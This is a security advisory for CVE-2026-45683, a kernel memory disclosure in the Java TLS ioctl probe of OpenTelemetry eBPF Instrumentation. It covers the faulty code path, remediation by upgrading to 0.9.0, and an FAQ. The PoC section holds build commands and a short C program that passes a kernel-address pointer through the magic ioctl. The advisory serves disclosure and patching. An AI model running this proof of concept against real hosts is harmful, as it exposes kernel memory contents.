CVE-2026-45683: OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure
Summary
The Java TLS ioctl probe reads user-controlled ioctl pointers with bpfproberead instead of bpfprobereaduser. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.
Details
The vulnerable path is in bpf/generictracer/javatls.c. The kprobe hooks dovfsioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpfproberead, including:
- the operation byte from arg - connection metadata from arg + 1 - the payload length from arg + 1 + sizeof(connectioninfot)
If len > 0, it computes buf = arg + 1 + sizeof(connectioninfot) + sizeof(u32) and passes that pointer into handlebufwithconnection.
The next stage, bpf/generictracer/ktracerdefs.h, uses bpfproberead(args->smallbuf, MINHTTP2SIZE, (void )args->ubuf); on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from ubuf and emits the bytes through bpfringbufoutput in bpf/generictracer/protocolhttp.h.
Because the ioctl pointer originates in user space, the probe should be using bpfprobereaduser with strict length validation. Using bpfproberead instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.
PoC
A complete lab reproduction requires:
1. a vulnerable build of OBI with Java TLS instrumentation enabled 2. a host capable of loading the BPF program 3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer
Suggested reproduction steps:
bash git checkout v0.0.0-rc.1+build make build sudo ./bin/obi
Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.
c // save as /tmp/ioctlkernelptr.c #include <stdio.h> #include <stdint.h> #include <sys/ioctl.h> #include <unistd.h>
#define JAVATLSMAGIC 0x0b10b1
int main(void) { void ptr = (void )0xffff888000000000ULL; long rc = ioctl(0, JAVATLSMAGIC, ptr); printf("ioctl rc=%ld\n", rc); return 0; }
Compile and run:
bash cc -O2 -o /tmp/ioctlkernelptr /tmp/ioctlkernelptr.c /tmp/ioctlkernelptr
On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.
Impact
This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.
Other sources
OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Java TLS ioctl probe reads user-controlled ioctl pointers with bpfproberead instead of bpfprobereaduser. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry. This issue has been patched in version 0.9.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/go.opentelemetry.io/obito a version that resolves this vulnerability.Fixed in 0.9.0 - Upgrade
Upgrade
opentelemetry-ebpf-instrumentationto a version that resolves this vulnerability.Fixed in 0.9.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45683?
The severity of CVE-2026-45683 is classified as low, with a score of 3.8.
What kind of vulnerability is CVE-2026-45683?
CVE-2026-45683 is classified as an information leak vulnerability.
How do I fix CVE-2026-45683?
To fix CVE-2026-45683, ensure that the vulnerable code path in the Java TLS ioctl probe uses `bpf_probe_read_user` instead of `bpf_probe_read`.
What software is affected by CVE-2026-45683?
CVE-2026-45683 affects the software package go/go.opentelemetry.io/obi.
What can be exploited in CVE-2026-45683?
CVE-2026-45683 can be exploited to read kernel memory due to user-controlled ioctl pointers being processed incorrectly.